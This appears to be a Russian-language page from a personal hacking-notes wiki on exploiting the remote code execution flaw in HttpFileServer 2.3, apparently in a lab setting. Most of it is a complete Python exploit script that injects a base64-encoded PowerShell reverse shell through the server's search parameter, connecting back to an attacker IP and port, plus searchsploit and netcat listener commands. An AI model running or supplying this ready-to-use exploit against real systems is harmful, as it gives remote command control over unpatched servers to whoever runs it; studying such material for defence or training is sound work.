> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/httpfileserver-2.3-cms-exploitation.md).
# HttpFileServer 2.3
Обнаружен веб-сервер HttpFileServer 2.3. Эта версия уязвима к удаленному выполнению кода (RCE).
### **Поиск эксплойтов**
Команда:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Пользовательский скрипт Python**
**Пользовательский скрипт Python**
Измените скрипт, чтобы включить следующие параметры:
* `LHOST` : ваш локальный IP (VPN).
* `LPORT` : локальный порт для прослушивания (например, 4444).
* `RHOST`: IP цели.
* `RPORT`: порт уязвимого сервиса, например 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Определите команду, которая будет записана в файл
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Кодируйте команду в формате base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nКоманда закодирована в формате base64...")
# Определите полезную нагрузку, которая будет включена в URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Закодируйте полезную нагрузку и отправьте HTTP GET-запрос
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nЗакодирована полезная нагрузка и отправлен HTTP GET-запрос на целевой узел...")
# Выведите некоторую информацию
print("/nВывод некоторой информации для отладки...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Ждите соединений
print("/nОжидание подключения...")
os.system(f'nc -nlvp {lport}')
```
Настройте свою машину как слушатель:
```bash
rlwrap nc -nlvp 4444
```
---
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